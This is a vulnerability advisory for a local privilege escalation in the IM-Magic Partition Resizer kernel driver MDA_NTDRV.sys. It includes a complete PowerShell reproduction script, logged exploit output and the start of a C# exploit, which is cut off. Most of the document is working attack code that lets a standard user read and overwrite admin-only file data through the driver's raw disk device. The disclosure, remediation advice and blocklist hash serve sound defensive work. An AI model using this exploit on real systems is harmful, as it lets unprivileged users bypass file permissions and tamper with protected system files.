Get-Partition -DiskNumber ([int]$meta.disk_number) | Where-Object { $_.Type -ne 'Reserved' } | Select-Object -First 1 | Set-Partition -NewDriveLetter R
Start-Sleep -Seconds 2
if ($writeExit -eq 0) {
$afterBytes = [IO.File]::ReadAllBytes($meta.protected_file)
$afterPrefix = [Text.Encoding]::ASCII.GetString($afterBytes, 0, [Math]::Min(256, $afterBytes.Length))
$found = $afterPrefix.Contains($writeMarker)
[pscustomobject]@{ expected_write_marker = $writeMarker; marker_found = $found; prefix = $afterPrefix } | ConvertTo-Json | Set-Content -LiteralPath (Join-Path $evidenceTemp 'admin_verify_after_write.json') -Encoding ascii
if ($found) {
'Write phase succeeded and was verified by admin readback from the protected test file.' | Set-Content -LiteralPath (Join-Path $evidenceTemp 'write_phase_status.txt') -Encoding ascii
} else {
'Write phase returned success but admin verification did not find the write marker; read impact remains verified.' | Set-Content -LiteralPath (Join-Path $evidenceTemp 'write_phase_status.txt') -Encoding ascii
}
} else {
"Write phase low-user process exited $writeExit; read impact remains verified." | Set-Content -LiteralPath (Join-Path $evidenceTemp 'write_phase_status.txt') -Encoding ascii
}
} catch {
"Write phase failed non-fatally: $($_.Exception.Message). Read impact remains verified." | Set-Content -LiteralPath (Join-Path $evidenceTemp 'write_phase_status.txt') -Encoding ascii
}
} else {
'Write phase skipped by default; read-only protected-file disclosure proof completed.' | Set-Content -LiteralPath (Join-Path $evidenceTemp 'write_phase_skipped.txt') -Encoding ascii
}
if (-not $SkipCleanup) { Cleanup-Repro $workRoot $installDir $evidenceTemp }
Remove-Item -LiteralPath $finalEvidence -Recurse -Force -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force -Path $finalEvidence | Out-Null
Copy-Item -Path (Join-Path $evidenceTemp '*') -Destination $finalEvidence -Force
Write-Host "Reproduction complete. Evidence copied to $finalEvidence"
} catch {
"BLOCKED_OR_FAILED: $($_.Exception.Message)" | Set-Content -LiteralPath (Join-Path $evidenceTemp 'blocked_or_failed.txt') -Encoding ascii
if (-not $SkipCleanup) { Cleanup-Repro $workRoot $installDir $evidenceTemp }
Remove-Item -LiteralPath $finalEvidence -Recurse -Force -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force -Path $finalEvidence | Out-Null
Copy-Item -Path (Join-Path $evidenceTemp '*') -Destination $finalEvidence -Force -ErrorAction SilentlyContinue
throw
}
IM-Magic Partition Resizer 7.9.0 Kernel Driver MDA_NTDRV.sys Local Privilege Escalation
CVE-2026-12784 Summary
IM-Magic Partition Resizer Free Portable includes MDA_NTDRV.sys, a raw disk forwarding driver that exposes \\.\MDA_NTDRV\<disk>. A standard local user can open this device and perform raw reads and writes against a caller-selected physical disk number.
In the validation below, the standard user could not directly read or write an administrator-only flag file and could not directly open the underlying raw disk. The same user then read the flag's NTFS data clusters through \\.\MDA_NTDRV\1, and also overwrote those clusters through the driver. Administrator readback confirmed that the protected flag file content changed to the attacker's marker.
An unprivileged user can exploit arbitrary read/write primitives over protected file resources to achieve local privilege escalation.
Affected Product and Version
- Product: IM-Magic Partition Resizer Free Portable
- Product version documented by vendor package:
7.9.0 - Driver:
MDA_NTDRV.sys - Driver package location:
drivers\win7\amd64\MDA_NTDRV.sysinside the x64core.dllarchive - Driver SHA-256:
6DED9FFF47488D7B335DD3C9BBBD838C60FF1AFE28CCB8BB329D021592FFE9F3 - Driver signature:
Valid, signerChongqing NIUBI Technology Co., Ltd.
Download URL and SHA-256
- Download URL:
https://download.resize-c.com/resizer-free-portable.zip - File name:
resizer-free-portable.zip - Portable ZIP SHA-256:
B91F22DD8073EA92A889FEA236D3A11B006D217F7CE68B528D65B90751A3AF40 - x64
core.dllSHA-256:2666C159911CFCB959F983FF6B60D1C59B3BE3EDFFA813FB19F50633746569D0
Vulnerability Type
Local raw disk read/write access-control bypass resulting in protected file disclosure and protected file tampering.
Impact
A standard local user can bypass Windows file ACLs by reading and writing protected file data at the raw disk layer through the vendor driver. In the proof, the protected file granted access only to SYSTEM and Administrators, but the standard user recovered its marker and then replaced its on-disk content through MDA_NTDRV.sys.
This primitive is LPE-grade in realistic attack chains because raw disk writes can tamper with privileged on-disk state, service binaries, registry hives, or other protected files when combined with filesystem-aware offset calculation and cache-safe write handling. This report demonstrates the impact only on a temporary VHD and a self-created protected flag file.
Test Environment
- Host:
EXPDEV - OS: Microsoft Windows 11 Pro, version
10.0.26200, 64-bit - PowerShell:
5.1.26100.8115 - Administrator context used for setup and cleanup
- Standard test user context used for exploitation:
expdev\low - Standard test user integrity level: Medium
- Test disk: temporary fixed VHD, 96 MB
- Protected test object:
R:\protected\admin_only_flag.bin
Driver Load / Setup Steps
The validation used the official portable ZIP and a controlled temporary VHD:
powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\repro_one_click.ps1 -UseEnvPassword -AttemptWrite
The script performs the following setup:
- Downloads
resizer-free-portable.zipfrom the official IM-Magic URL if it is not already present. - Extracts the portable ZIP with 7-Zip.
- Extracts the x64
core.dllfile as a ZIP archive. - Loads
drivers\win7\amd64\MDA_NTDRV.syswith a temporaryMDANTDRVReprokernel service. - Creates a temporary 96 MB VHD, assigns it as disk
1, formats it as NTFS, and creates an administrator-only flag file. - Resolves the flag file's first NTFS data run to disk offset
5865472, length20480. - Runs a single low-privilege exploit executable that prints baseline failures and the driver read result.
- Dismounts the volume and runs the same low-privilege executable in write mode against the temporary VHD only.
- Remounts the VHD and verifies as Administrator that the protected flag file now contains the low-user write marker.
- Dismounts the VHD, stops and deletes the temporary driver service, and removes temporary test directories.
Reproduction Steps
Run from an elevated PowerShell prompt:
$env:VENDOR_REPRO_LOW_PASSWORD = '<standard-user-password>'
powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\repro_one_click.ps1 -UseEnvPassword -AttemptWrite
Remove-Item Env:\VENDOR_REPRO_LOW_PASSWORD
Alternatively omit -UseEnvPassword and the script will prompt for the standard user's credential:
powershell.exe -NoProfile -ExecutionPolicy Bypass -File .\repro_one_click.ps1 -AttemptWrite
What The Script Does
- Downloads the official portable package from
https://download.resize-c.com/resizer-free-portable.zipif needed. - Compiles the low-privilege C# exploit.
- Extracts the portable ZIP with the repo's 7-Zip helper.
- Extracts the x64
core.dllas a ZIP archive. - Loads
drivers\win7\amd64\MDA_NTDRV.syswith a temporaryMDANTDRVReprokernel service. - Creates and formats a temporary 96 MB VHD.
- Creates
R:\protected\admin_only_flag.binwith a unique marker and an ACL granting access only toSYSTEMandAdministrators. - Resolves the flag's first NTFS data run and computes its absolute disk offset.
- Runs the exploit as the standard user. The exploit performs baseline checks and then reads the flag data through
\\.\MDA_NTDRV\<disk>. - Dismounts the volume and runs the exploit as the standard user in write mode against the same raw disk offset.
- Remounts the VHD and verifies as Administrator that the protected file now contains the write marker.
- Dismounts the temporary VHD, stops and deletes the temporary driver service, removes test directories, and keeps the evidence directory.
Expected Successful Output
Read phase:
[IDENTITY] user=expdev\low
[IDENTITY] is_administrator=False
[IDENTITY] integrity=Medium
[BASELINE] protected_read=DENIED path=R:\protected\admin_only_flag.bin error=Access to the path 'R:\protected\admin_only_flag.bin' is denied.
[BASELINE] protected_write=DENIED path=R:\protected\admin_only_flag.bin error=Access to the path 'R:\protected\admin_only_flag.bin' is denied.
[BASELINE] raw_disk_open=DENIED path=\\.\PhysicalDrive1 error=5
[DRIVER] open=SUCCESS path=\\.\MDA_NTDRV\1
[RESULT] read_marker_found=True
Write phase:
[DRIVER] open=SUCCESS path=\\.\MDA_NTDRV\1
[EXPLOIT_WRITE] success=True device=MDA_NTDRV disk=1 offset=5865472 bytes=20480
[RESULT] write_succeeded=True
The admin verification file should contain "marker_found": true.
Baseline Evidence
The protected file ACL allowed only SYSTEM and Administrators:
R:\protected\admin_only_flag.bin NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
Successfully processed 1 files; Failed processing 0 files
The low-privilege process identified itself as a standard, Medium Integrity user:
[IDENTITY] user=expdev\low
[IDENTITY] is_administrator=False
[IDENTITY] integrity=Medium
Direct access failed without the driver:
[BASELINE] protected_read=DENIED path=R:\protected\admin_only_flag.bin error=Access to the path 'R:\protected\admin_only_flag.bin' is denied.
[BASELINE] protected_write=DENIED path=R:\protected\admin_only_flag.bin error=Access to the path 'R:\protected\admin_only_flag.bin' is denied.
[BASELINE] raw_disk_open=DENIED path=\\.\PhysicalDrive1 error=5
Exploit Evidence
The standard-user read phase opened the IM-Magic device and recovered the protected flag marker:
[DRIVER] open=SUCCESS path=\\.\MDA_NTDRV\1
[EXPLOIT_READ] success=True device=MDA_NTDRV disk=1 offset=5865472 requested_bytes=20480 driver_reported_bytes=20480 out=C:\ProgramData\VendorRepro\immagic_mda_ntdrv_evidence\exploit_read_clusters.bin
[EXPLOIT_READ] prefix=IMMAGIC-MDA-PROTECTED-FLAG-a259e757-c8b7-4d3b-974a-44cabd6fe619AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[RESULT] read_marker_found=True
The standard-user write phase opened the same device and wrote a new marker to the protected file's raw disk clusters:
[DRIVER] open=SUCCESS path=\\.\MDA_NTDRV\1
[EXPLOIT_WRITE] success=True device=MDA_NTDRV disk=1 offset=5865472 bytes=20480
[EXPLOIT_WRITE] marker=IMMAGIC-MDA-WRITE-FLAG-3914f0f7-41d1-4e36-8a0c-a040f0852613
[RESULT] write_succeeded=True
Administrator readback after remount confirmed that the protected file was modified:
"marker_found": true
"prefix": "IMMAGIC-MDA-WRITE-FLAG-3914f0f7-41d1-4e36-8a0c-a040f0852613BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
Why This Proves the Vulnerability
The test user is a non-administrator at Medium Integrity. Direct access to both the protected NTFS file and \\.\PhysicalDrive1 failed. The successful read and write occurred only through the IM-Magic driver device \\.\MDA_NTDRV\1.
The read result proves protected data disclosure because the low-privilege user recovered an administrator-only flag marker. The write result proves protected data tampering because the low-privilege user wrote a new marker at the raw disk offset for that protected file, and Administrator readback confirmed the file content changed.
Therefore, MDA_NTDRV.sys exposes privileged raw disk read/write functionality to a standard user without enforcing the Windows access checks that would normally protect both the file and the physical disk.
Suggested Remediation
- Do not expose raw disk forwarding devices to unprivileged users.
- Create device objects with
IoCreateDeviceSecureand a restrictive SDDL that permits only administrators or a trusted service SID. - Use
FILE_DEVICE_SECURE_OPENwhere applicable. - Revalidate caller identity and requested access before forwarding raw disk reads, writes, or disk IOCTLs.
- Avoid forwarding arbitrary caller-controlled disk requests to lower storage stacks. If raw disk operations are required, restrict them to a broker service that enforces authorization and target allowlists.
- Add known vulnerable hashes, including
6DED9FFF47488D7B335DD3C9BBBD838C60FF1AFE28CCB8BB329D021592FFE9F3, to vulnerable-driver blocklists until fixed builds are available.
POC
repo_one_click.ps1
[CmdletBinding()]
param(
[string]$RepoRoot,
[string]$LowUser = 'EXPDEV\low',
[System.Management.Automation.PSCredential]$LowCredential,
[switch]$UseEnvPassword,
[switch]$AttemptWrite,
[switch]$SkipCleanup
)
$ErrorActionPreference = 'Stop'
$ProgressPreference = 'SilentlyContinue'
function Assert-Admin {
$identity = [Security.Principal.WindowsIdentity]::GetCurrent()
$principal = [Security.Principal.WindowsPrincipal]::new($identity)
if (-not $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
throw 'Run from an elevated PowerShell session.'
}
}
function Get-LowCredential {
if ($LowCredential) { return $LowCredential }
if ($UseEnvPassword) {
$plain = [Environment]::GetEnvironmentVariable('VENDOR_REPRO_LOW_PASSWORD')
if ([string]::IsNullOrWhiteSpace($plain)) { throw 'VENDOR_REPRO_LOW_PASSWORD is not set.' }
return [System.Management.Automation.PSCredential]::new($LowUser, (ConvertTo-SecureString $plain -AsPlainText -Force))
}
return Get-Credential -UserName $LowUser -Message 'Credential for the standard test user'
}
function Download-PortableZip([string]$OutPath) {
if (Test-Path $OutPath) { return }
New-Item -ItemType Directory -Force -Path (Split-Path $OutPath -Parent) | Out-Null
Invoke-WebRequest -Uri 'https://download.resize-c.com/resizer-free-portable.zip' -OutFile $OutPath -UseBasicParsing -TimeoutSec 240 -Headers @{ 'User-Agent'='Mozilla/5.0' }
}
function Compile-Exploit([string]$SourcePath, [string]$ExePath) {
$csc = "$env:WINDIR\Microsoft.NET\Framework64\v4.0.30319\csc.exe"
if (!(Test-Path $csc)) { throw "C# compiler not found: $csc" }
New-Item -ItemType Directory -Force -Path (Split-Path $ExePath -Parent) | Out-Null
& $csc /nologo /optimize+ /platform:x64 /target:exe "/out:$ExePath" $SourcePath
if ($LASTEXITCODE -ne 0) { throw 'Exploit compilation failed.' }
}
function Run-Low {
param(
[string]$Name,
[string]$FilePath,
[string[]]$ArgumentList,
[string]$Stdout,
[string]$Stderr,
[System.Management.Automation.PSCredential]$Credential,
[string]$StatusPath,
[switch]$AllowFailure
)
$p = Start-Process -FilePath $FilePath -ArgumentList $ArgumentList -Credential $Credential -LoadUserProfile -WindowStyle Hidden -Wait -PassThru -RedirectStandardOutput $Stdout -RedirectStandardError $Stderr
"$Name exit=$($p.ExitCode)" | Add-Content -LiteralPath $StatusPath -Encoding ascii
if ($p.ExitCode -ne 0 -and -not $AllowFailure) { throw "$Name failed with exit code $($p.ExitCode)." }
return $p.ExitCode
}
function Extract-Driver([string]$ZipPath, [string]$ExtractRoot, [string]$RepoRoot, [string]$EvidenceDir) {
$sevenZip = Join-Path $RepoRoot 'dev\tools\7zip-portable\7z.exe'
if (!(Test-Path $sevenZip)) { throw "7-Zip helper not found: $sevenZip" }
Remove-Item -LiteralPath $ExtractRoot -Recurse -Force -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force -Path $ExtractRoot | Out-Null
$outer = Join-Path $ExtractRoot 'portable'
$coreOut = Join-Path $ExtractRoot 'core_x64'
New-Item -ItemType Directory -Force -Path $outer, $coreOut | Out-Null
(& $sevenZip x $ZipPath "-o$outer" -y) | Out-File -LiteralPath (Join-Path $EvidenceDir 'extract_portable_zip.txt') -Encoding ascii
$core = Get-ChildItem -Path $outer -Recurse -File -Filter 'core.dll' | Where-Object { $_.FullName -match '\\x64\\core\.dll$' } | Select-Object -First 1
if (-not $core) { throw 'x64 core.dll was not found in the portable package.' }
(& $sevenZip x $core.FullName "-o$coreOut" -y) | Out-File -LiteralPath (Join-Path $EvidenceDir 'extract_core_dll.txt') -Encoding ascii
$driver = Join-Path $coreOut 'drivers\win7\amd64\MDA_NTDRV.sys'
if (!(Test-Path $driver)) { throw 'drivers\win7\amd64\MDA_NTDRV.sys was not found inside x64 core.dll.' }
[pscustomobject]@{
core_path = $core.FullName
core_sha256 = (Get-FileHash $core.FullName -Algorithm SHA256).Hash
driver_path = $driver
} | ConvertTo-Json | Set-Content -LiteralPath (Join-Path $EvidenceDir 'extraction_metadata.json') -Encoding ascii
return Get-Item $driver
}
function Ensure-DriverLoaded([string]$DriverPath, [string]$EvidenceDir) {
$log = Join-Path $EvidenceDir 'driver_service_load.txt'
"Driver path: $DriverPath" | Set-Content -LiteralPath $log -Encoding ascii
(& sc.exe stop MDANTDRVRepro 2>&1) | Out-File -LiteralPath $log -Append -Encoding ascii
(& sc.exe delete MDANTDRVRepro 2>&1) | Out-File -LiteralPath $log -Append -Encoding ascii
(& sc.exe create MDANTDRVRepro type= kernel start= demand binPath= $DriverPath 2>&1) | Out-File -LiteralPath $log -Append -Encoding ascii
(& sc.exe start MDANTDRVRepro 2>&1) | Out-File -LiteralPath $log -Append -Encoding ascii
(& sc.exe query MDANTDRVRepro 2>&1) | Out-File -LiteralPath $log -Append -Encoding ascii
(& sc.exe qc MDANTDRVRepro 2>&1) | Out-File -LiteralPath (Join-Path $EvidenceDir 'driver_service_config.txt') -Encoding ascii
}
function Create-Vhd([string]$WorkRoot, [string]$EvidenceDir) {
$vhd = Join-Path $WorkRoot 'controlled_disk.vhd'
$script = Join-Path $WorkRoot 'create_vhd.diskpart'
@"
create vdisk file="$vhd" maximum=96 type=fixed
select vdisk file="$vhd"
attach vdisk
create partition primary
"@ | Set-Content -LiteralPath $script -Encoding ascii
(& diskpart.exe /s $script) | Out-File -LiteralPath (Join-Path $EvidenceDir 'diskpart_create.txt') -Encoding ascii
$disk = Get-DiskImage -ImagePath $vhd | Get-Disk
$partition = Get-Partition -DiskNumber $disk.Number | Where-Object { $_.Type -ne 'Reserved' } | Select-Object -First 1
$partition | Format-List | Out-File -LiteralPath (Join-Path $EvidenceDir 'partition_before_format.txt') -Encoding ascii
$partition | Set-Partition -NewDriveLetter R
Format-Volume -DriveLetter R -FileSystem NTFS -NewFileSystemLabel MDAREPRO -Confirm:$false -Force | Format-List | Out-File -LiteralPath (Join-Path $EvidenceDir 'format_volume.txt') -Encoding ascii
return $disk.Number
}
function New-ProtectedFlag([uint32]$DiskNumber, [string]$WorkRoot, [string]$EvidenceDir) {
New-Item -ItemType Directory -Force -Path 'R:\protected' | Out-Null
$marker = 'IMMAGIC-MDA-PROTECTED-FLAG-' + [guid]::NewGuid().ToString()
$bytes = New-Object byte[] 20480
$markerBytes = [Text.Encoding]::ASCII.GetBytes($marker)
[Array]::Copy($markerBytes, 0, $bytes, 0, $markerBytes.Length)
for ($i = $markerBytes.Length; $i -lt $bytes.Length; $i++) { $bytes[$i] = 0x41 }
$flag = 'R:\protected\admin_only_flag.bin'
[IO.File]::WriteAllBytes($flag, $bytes)
(& icacls.exe $flag /inheritance:r /grant:r 'Administrators:F' 'SYSTEM:F') | Out-File -LiteralPath (Join-Path $EvidenceDir 'flag_acl_set.txt') -Encoding ascii
(& icacls.exe $flag) | Out-File -LiteralPath (Join-Path $EvidenceDir 'flag_acl.txt') -Encoding ascii
$ntfs = (fsutil fsinfo ntfsinfo R:) 2>&1
$extents = (fsutil file queryextents $flag) 2>&1
$ntfs | Out-File -LiteralPath (Join-Path $EvidenceDir 'ntfs_info.txt') -Encoding ascii
$extents | Out-File -LiteralPath (Join-Path $EvidenceDir 'file_extents.txt') -Encoding ascii
[uint64]$bytesPerCluster = 0
foreach ($line in $ntfs) { if ($line -match 'Bytes Per Cluster\s*:\s*(\d+)') { $bytesPerCluster = [uint64]$Matches[1] } }
$lcn = $null; $clusters = $null
foreach ($line in $extents) {
if ($line -match 'VCN:\s*0x[0-9a-fA-F]+\s+Clusters:\s*0x([0-9a-fA-F]+)\s+LCN:\s*0x([0-9a-fA-F]+)') {
$clusters = [Convert]::ToUInt64($Matches[1], 16)
$lcn = [Convert]::ToUInt64($Matches[2], 16)
break
}
}
if ($bytesPerCluster -eq 0 -or $null -eq $lcn) { throw 'Could not parse NTFS data run.' }
$partition = Get-Partition -DriveLetter R
[uint64]$diskOffset = [uint64]$partition.Offset + ($lcn * $bytesPerCluster)
[uint64]$runLength = $clusters * $bytesPerCluster
$meta = [pscustomobject]@{
marker = $marker
vhd_path = (Join-Path $WorkRoot 'controlled_disk.vhd')
disk_number = $DiskNumber
drive_letter = 'R'
partition_offset = [uint64]$partition.Offset
bytes_per_cluster = $bytesPerCluster
first_lcn = $lcn
first_run_clusters = $clusters
disk_offset = $diskOffset
run_length = $runLength
protected_file = $flag
}
$meta | ConvertTo-Json | Set-Content -LiteralPath (Join-Path $EvidenceDir 'test_object_metadata.json') -Encoding ascii
return $meta
}
function Cleanup-Repro([string]$WorkRoot, [string]$ExtractRoot, [string]$EvidenceDir) {
$cleanup = Join-Path $EvidenceDir 'cleanup_log.txt'
"Cleanup started: $(Get-Date -Format o)" | Set-Content -LiteralPath $cleanup -Encoding ascii
try {
$vhd = Join-Path $WorkRoot 'controlled_disk.vhd'
if (Test-Path $vhd) { Dismount-DiskImage -ImagePath $vhd -ErrorAction SilentlyContinue | Out-File -LiteralPath $cleanup -Append -Encoding ascii }
(& sc.exe stop MDANTDRVRepro 2>&1) | Out-File -LiteralPath $cleanup -Append -Encoding ascii
(& sc.exe delete MDANTDRVRepro 2>&1) | Out-File -LiteralPath $cleanup -Append -Encoding ascii
Remove-Item -LiteralPath $WorkRoot, $ExtractRoot -Recurse -Force -ErrorAction SilentlyContinue
} finally {
"WorkRoot exists after cleanup: $(Test-Path $WorkRoot)" | Add-Content -LiteralPath $cleanup -Encoding ascii
"ExtractRoot exists after cleanup: $(Test-Path $ExtractRoot)" | Add-Content -LiteralPath $cleanup -Encoding ascii
"MDANTDRVRepro service query after cleanup:" | Add-Content -LiteralPath $cleanup -Encoding ascii
(& sc.exe query MDANTDRVRepro 2>&1) | Out-File -LiteralPath $cleanup -Append -Encoding ascii
}
}
Assert-Admin
$credential = Get-LowCredential
$packageDir = $PSScriptRoot
if ([string]::IsNullOrWhiteSpace($RepoRoot)) { $RepoRoot = (Resolve-Path (Join-Path $packageDir '..\..\..')).Path }
$workRoot = 'C:\ProgramData\VendorRepro\immagic_mda_ntdrv'
$extractRoot = 'C:\ProgramData\VendorRepro\immagic_mda_ntdrv_extract'
$evidenceTemp = 'C:\ProgramData\VendorRepro\immagic_mda_ntdrv_evidence'
$finalEvidence = Join-Path $packageDir 'evidence'
$portableZip = Join-Path $RepoRoot 'dev\downloads\im_magic_resizer\resizer-free-portable.zip'
$exploitSource = Join-Path $RepoRoot 'dev\poc\raw_disk_forwarder_flag_rw_exploit.cs'
$exploitExe = Join-Path $RepoRoot 'dev\poc\bin\raw_disk_forwarder_flag_rw_exploit.exe'
Remove-Item -LiteralPath $evidenceTemp -Recurse -Force -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force -Path $workRoot, $evidenceTemp | Out-Null
(& icacls.exe $workRoot /grant '*S-1-5-32-545:(OI)(CI)M') | Out-File -LiteralPath (Join-Path $evidenceTemp 'runtime_acl_setup.txt') -Encoding ascii
(& icacls.exe $evidenceTemp /grant '*S-1-5-32-545:(OI)(CI)M') | Out-File -LiteralPath (Join-Path $evidenceTemp 'evidence_acl_setup.txt') -Encoding ascii
try {
Download-PortableZip $portableZip
Compile-Exploit $exploitSource $exploitExe
$driver = Extract-Driver -ZipPath $portableZip -ExtractRoot $extractRoot -RepoRoot $RepoRoot -EvidenceDir $evidenceTemp
Ensure-DriverLoaded -DriverPath $driver.FullName -EvidenceDir $evidenceTemp
$diskNumber = Create-Vhd -WorkRoot $workRoot -EvidenceDir $evidenceTemp
$meta = New-ProtectedFlag -DiskNumber ([uint32]$diskNumber) -WorkRoot $workRoot -EvidenceDir $evidenceTemp
$status = Join-Path $evidenceTemp 'low_run_status.txt'
'IM-Magic MDA_NTDRV low-user EXP run status' | Set-Content -LiteralPath $status -Encoding ascii
$readOut = Join-Path $evidenceTemp 'exploit_read_clusters.bin'
Run-Low -Name 'low_exp_read' -FilePath $exploitExe -Credential $credential -StatusPath $status `
-Stdout (Join-Path $evidenceTemp 'low_exp_read_stdout.txt') `
-Stderr (Join-Path $evidenceTemp 'low_exp_read_stderr.txt') `
-ArgumentList @('--device','MDA_NTDRV','--mode','read','--disk',[string]$meta.disk_number,'--offset',[string]$meta.disk_offset,'--length',[string]$meta.run_length,'--flag-path',$meta.protected_file,'--expect-marker',$meta.marker,'--out',$readOut)
$zipSig = Get-AuthenticodeSignature $portableZip
$driverSig = Get-AuthenticodeSignature $driver.FullName
$extractMeta = Get-Content -LiteralPath (Join-Path $evidenceTemp 'extraction_metadata.json') | ConvertFrom-Json
[pscustomobject]@{
product = 'IM-Magic Partition Resizer Free Portable'
product_version = '7.9.0'
download_url = 'https://download.resize-c.com/resizer-free-portable.zip'
file_name = 'resizer-free-portable.zip'
portable_zip_sha256 = (Get-FileHash $portableZip -Algorithm SHA256).Hash
portable_zip_signature_status = $zipSig.Status.ToString()
x64_core_sha256 = $extractMeta.core_sha256
driver_name = 'MDA_NTDRV.sys'
driver_path = $driver.FullName
driver_sha256 = (Get-FileHash $driver.FullName -Algorithm SHA256).Hash
driver_signature_status = $driverSig.Status.ToString()
driver_signer_subject = $driverSig.SignerCertificate.Subject
driver_load_method = 'Official portable ZIP extracted with 7-Zip; x64 core.dll extracted as ZIP; drivers\win7\amd64\MDA_NTDRV.sys loaded with temporary MDANTDRVRepro kernel service.'
low_exploit = 'raw_disk_forwarder_flag_rw_exploit.exe'
low_exploit_sha256 = (Get-FileHash $exploitExe -Algorithm SHA256).Hash
device_path = '\\.\MDA_NTDRV\<disk>'
} | ConvertTo-Json -Depth 4 | Set-Content -LiteralPath (Join-Path $evidenceTemp 'product_driver_metadata.json') -Encoding ascii
if ($AttemptWrite) {
try {
$writeMarker = 'IMMAGIC-MDA-WRITE-FLAG-' + [guid]::NewGuid().ToString()
[pscustomObject]@{ write_marker = $writeMarker; disk_number = $meta.disk_number; disk_offset = $meta.disk_offset; run_length = $meta.run_length } | ConvertTo-Json | Set-Content -LiteralPath (Join-Path $evidenceTemp 'write_marker_metadata.json') -Encoding ascii
(& mountvol.exe R: /p) | Out-File -LiteralPath (Join-Path $evidenceTemp 'volume_dismount_before_write.txt') -Encoding ascii
Start-Sleep -Seconds 2
$writeExit = Run-Low -Name 'low_exp_write' -FilePath $exploitExe -Credential $credential -StatusPath $status -AllowFailure `
-Stdout (Join-Path $evidenceTemp 'low_exp_write_stdout.txt') `
-Stderr (Join-Path $evidenceTemp 'low_exp_write_stderr.txt') `
-ArgumentList @('--device','MDA_NTDRV','--mode','write','--disk',[string]$meta.disk_number,'--offset',[string]$meta.disk_offset,'--length',[string]$meta.run_length,'--write-marker',$writeMarker)
Get-Partition -DiskNumber ([int]$meta.disk_number) | Where-Object { $_.Type -ne 'Reserved' } | Select-Object -First 1 | Set-Partition -NewDriveLetter R
Start-Sleep -Seconds 2
if ($writeExit -eq 0) {
$afterBytes = [IO.File]::ReadAllBytes($meta.protected_file)
$afterPrefix = [Text.Encoding]::ASCII.GetString($afterBytes, 0, [Math]::Min(256, $afterBytes.Length))
$found = $afterPrefix.Contains($writeMarker)
[pscustomobject]@{ expected_write_marker = $writeMarker; marker_found = $found; prefix = $afterPrefix } | ConvertTo-Json | Set-Content -LiteralPath (Join-Path $evidenceTemp 'admin_verify_after_write.json') -Encoding ascii
if ($found) {
'Write phase succeeded and was verified by admin readback from the protected test file.' | Set-Content -LiteralPath (Join-Path $evidenceTemp 'write_phase_status.txt') -Encoding ascii
} else {
'Write phase returned success but admin verification did not find the write marker; read impact remains verified.' | Set-Content -LiteralPath (Join-Path $evidenceTemp 'write_phase_status.txt') -Encoding ascii
}
} else {
"Write phase low-user process exited $writeExit; read impact remains verified." | Set-Content -LiteralPath (Join-Path $evidenceTemp 'write_phase_status.txt') -Encoding ascii
}
} catch {
"Write phase failed non-fatally: $($_.Exception.Message). Read impact remains verified." | Set-Content -LiteralPath (Join-Path $evidenceTemp 'write_phase_status.txt') -Encoding ascii
}
} else {
'Write phase skipped by default; read-only protected-file disclosure proof completed.' | Set-Content -LiteralPath (Join-Path $evidenceTemp 'write_phase_skipped.txt') -Encoding ascii
}
if (-not $SkipCleanup) { Cleanup-Repro $workRoot $extractRoot $evidenceTemp }
Remove-Item -LiteralPath $finalEvidence -Recurse -Force -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force -Path $finalEvidence | Out-Null
Copy-Item -Path (Join-Path $evidenceTemp '*') -Destination $finalEvidence -Force
Write-Host "Reproduction complete. Evidence copied to $finalEvidence"
} catch {
"BLOCKED_OR_FAILED: $($_.Exception.Message)" | Set-Content -LiteralPath (Join-Path $evidenceTemp 'blocked_or_failed.txt') -Encoding ascii
if (-not $SkipCleanup) { Cleanup-Repro $workRoot $extractRoot $evidenceTemp }
Remove-Item -LiteralPath $finalEvidence -Recurse -Force -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force -Path $finalEvidence | Out-Null
Copy-Item -Path (Join-Path $evidenceTemp '*') -Destination $finalEvidence -Force -ErrorAction SilentlyContinue
throw
}
raw_disk_forwarder_flag_rw_exploit.cs
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
using Microsoft.Win32.SafeHandles;
internal static class RawDiskForwarderFlagRwExploit
{
private const uint GENERIC_READ = 0x80000000;
private const uint GENERIC_WRITE = 0x40000000;
private const uint FILE_SHARE_READ = 0x00000001;
private const uint FILE_SHARE_WRITE = 0x00000002;
private const uint OPEN_EXISTING = 3;
private const uint FILE_BEGIN = 0;
private const int TOKEN_QUERY = 0x0008;
private const int TokenIntegrityLevel = 25;
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern SafeFileHandle CreateFileW(
string lpFileName,
uint dwDesiredAccess,
uint dwShareMode,
IntPtr lpSecurityAttributes,
uint dwCreationDisposition,
uint dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool SetFilePointerEx(SafeFileHandle hFile, long liDistanceToMove, IntPtr lpNewFilePointer, uint dwMoveMethod);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool ReadFile(SafeFileHandle hFile, IntPtr lpBuffer, int nNumberOfBytesToRead, out int lpNumberOfBytesRead, IntPtr lpOverlapped);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteFile(SafeFileHandle hFile, IntPtr lpBuffer, int nNumberOfBytesToWrite, out int lpNumberOfBytesWritten, IntPtr lpOverlapped);
[DllImport("kernel32.dll")]
